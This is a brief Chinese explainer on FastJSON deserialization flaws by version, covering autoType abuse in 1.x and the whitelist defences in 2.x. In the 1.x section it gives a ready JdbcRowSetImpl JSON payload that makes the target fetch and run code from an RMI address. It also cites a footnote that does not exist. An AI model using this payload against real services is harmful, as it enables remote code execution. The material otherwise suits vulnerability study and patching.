fastjson不同版本反序列化payload

针对 fast 序列化库的不同版本中的反序列化漏洞及其对应的 payload 构造方法，通常涉及深入理解该库在各版本中处理对象的方式以及可能存在的安全隐患。对于此类研究，重点在于识别哪些版本可能存在未经充分验证即执行反序列化的风险，并探索如何通过精心设计的数据结构来触发潜在的安全问题。

### FastJSON 反序列化漏洞概述

FastJSON 是阿里巴巴开源的一款高性能 JSON 解析库，在多个编程环境中广泛应用。然而，由于其早期版本缺乏严格的类型检查机制，使得恶意用户能够提交特制的 JSON 字符串，进而引发远程代码执行等问题[^1]。

#### 特定版本下的 Payload 实现方式

- **FastJSON 1.x 系列**

在 FastJSON 的 1.x 版本中，如果启用了 `autoType` 功能，则允许攻击者指定自定义类型的名称作为输入的一部分。这可能导致加载并实例化任意类文件，最终实现 RCE（Remote Code Execution）。为此，构建有效负载的关键在于找到可被利用的目标环境内可用且具有危险行为的方法调用路径。

  String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:8080/Exploit\",\"autoCommit\":true}";

- **FastJSON 2.x 更新后的防护措施**

自从 FastJSON 升级到 2.x 后，默认关闭了 `autoType` 支持，并引入了一系列白名单策略用于限制可以解析的对象类型。尽管如此，仍需警惕新发现的绕过技巧或是第三方组件间接引入的风险点。

对于开发者而言，建议始终保持最新稳定版更新频率，遵循官方文档指导配置安全选项；而对于研究人员来说，则要持续关注社区动态和技术博客分享的新颖思路。